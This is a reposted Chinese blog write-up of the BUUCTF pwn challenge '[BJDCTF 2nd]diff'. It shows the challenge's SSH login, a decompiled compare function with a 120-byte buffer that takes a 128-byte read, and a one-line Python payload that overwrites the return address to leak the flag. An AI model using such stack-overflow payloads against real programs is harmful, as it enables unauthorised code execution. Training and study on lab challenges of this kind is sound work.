CTF-Pwn-[BJDCTF 2nd]diff

CTF-Pwn-[BJDCTF 2nd]diff

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]diff

image-20200506192308847

使用ssh远程连接Username: ctf Password: guest

思路

远程连接

ssh -p 29857 [email protected]

image-20200506193033058

可以看到里面有一个文件diff,我们把它下载下来这里使用ssh协议的scp

scp -P 28708 [email protected]:/home/ctf/diff /home/tanglei/Desktop/ctf/

image-20200507125049403

接下来我们来分析这个源文件

image-20200507125311410

然后使用ida32位打开它

image-20200507125449001

注意到compare函数里面有个漏洞

int __cdecl compare(int a1, int fd)
{
  char v2; // al
  int v4; // [esp+0h] [ebp-80h]
  unsigned int i; // [esp+4h] [ebp-7Ch]
  char addr[120]; // [esp+8h] [ebp-78h]

  v4 = 0;
  JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
  JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
  for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
  {
    v2 = buf1[i];
    if ( v2 != addr[i] )
      return v4 + 1;
    if ( v2 == 10 )
      ++v4;
  }
  return 0;
}

里面addr长度为120,read读了128字节,很明显的栈溢出,有8个字节的溢出,buf1有可执行的权限,我们只要获取到buf1的地址并覆盖它,即可getshell

payload

看到网上的payload时这样写的

python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2

这个里面有python的命令,把payload写进第二个文件,就可以把flag爆出来,

执行./diff flag /tmp/flag2

完整命令
cd /tmp
/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2

测试

已经找到flag,不过好像少了个f,补上就好

image-20200507130838468

感谢

BUUCTF

以及勤劳的自己

原创文章 345 获赞 866 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_45163122/article/details/105970670
今日推荐